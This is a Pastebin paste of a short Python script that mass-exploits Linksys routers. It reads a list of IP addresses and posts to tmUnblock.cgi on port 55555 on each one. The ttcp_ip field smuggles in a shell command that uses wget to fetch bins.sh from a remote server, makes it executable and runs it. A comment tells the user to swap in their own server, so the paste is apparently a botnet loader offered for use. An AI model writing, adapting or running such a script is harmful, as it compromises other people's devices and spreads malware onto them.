Advertisement
ITz_Linux

dwaFeawSFGesfesrafeswFesafesafewsaf

Apr 4th, 2020
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.07 KB | None | 0 0
  1. #! python !#
  2. #Linksys
  3. import threading, sys, time, random, socket, subprocess, re, os, struct, array, requests
  4. from threading import Thread
  5. from time import sleep
  6. import requests
  7. from requests.auth import HTTPDigestAuth
  8. from decimal import *  
  9. ips = open(sys.argv[1], "r").readlines()
  10.  
  11. #change serverip and bins1.sh
  12.  
  13. url_data = {
  14.     "submit_button": "",
  15.     "change_action": "",
  16.     "action": "",
  17.     "commit": "0",
  18.     "ttcp_num": "2",
  19.     "ttcp_size": "2",
  20.     "ttcp_ip": "-h `cd /tmp; rm -rf bins.sh; wget http://1.1.1.1/bins.sh; chmod 777 bins.sh; sh bins.sh linksys`",
  21.     "StartEPI": "1",
  22. }
  23.  
  24. class linksys(threading.Thread):
  25.         def __init__ (self, ip):
  26.             threading.Thread.__init__(self)
  27.             self.ip = str(ip).rstrip('\n')
  28.         def run(self):
  29.             try:
  30.                 print "[LINKSYS] Loading - " + self.ip
  31.                 url = "http://"+self.ip+":55555/tmUnblock.cgi"
  32.                 requests.post(url, data=url_data, timeout=3)
  33.                 requests.get(url, timeout=3)
  34.             except Exception as e:
  35.                 pass
  36. for ip in ips:
  37.     try:
  38.         n = linksys(ip)
  39.         n.start()
  40.         time.sleep(0.03)
  41.     except:
  42.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement